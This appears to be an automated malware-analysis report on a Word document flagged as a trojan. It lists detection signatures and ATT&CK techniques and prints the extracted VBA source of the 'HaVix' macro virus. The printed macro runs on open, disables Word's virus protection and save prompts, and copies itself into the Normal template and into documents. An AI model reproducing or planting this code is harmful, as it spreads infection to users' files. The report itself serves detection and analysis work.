MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with multiple signatures indicating it is a trojan. The presence of a legacy WordBasic AutoOpen macro, specifically the 'AutoOpen' subroutine calling the 'HaVix' subroutine, strongly suggests an attempt to execute a secondary payload upon opening the document. The 'HaVix' macro appears to be designed to copy itself and potentially save the document, which is a common technique for malware persistence or payload delivery.
Heuristics 4
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1491 bytes |
SHA-256: 130b4c12b01a0595ad3082695a24d97b795c48c3ce6cc85941e413bf54568147 |
|||
|
Detection
ClamAV:
Doc.Trojan.Havix-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "HaVix"
Sub HaVix()
Attribute HaVix.VB_Description = "Macro created 02/05/98 by Home"
Attribute HaVix.VB_ProcData.VB_Invoke_Func = "Project.HaVix.HaVix"
On Error Resume Next
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
leprican = 0
Set leprison = MacroContainer
If leprison = NormalTemplate Then leprican = 1
If leprican = 1 Then leprishaft = NormalTemplate.FullName Else leprishaft = ActiveDocument.FullName
If leprican = 1 Then leprigome = ActiveDocument.FullName Else leprigome = NormalTemplate.FullName
Application.OrganizerCopy Source:=leprishaft, Destination:=leprigome, Name:="HaVix", Object:=wdOrganizerObjectProjectItems
If leprican = 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If leprican = 0 Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
gone:
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 02/05/98 by HaVix"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.HaVix.AutoOpen"
On Error Resume Next
Call HaVix
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.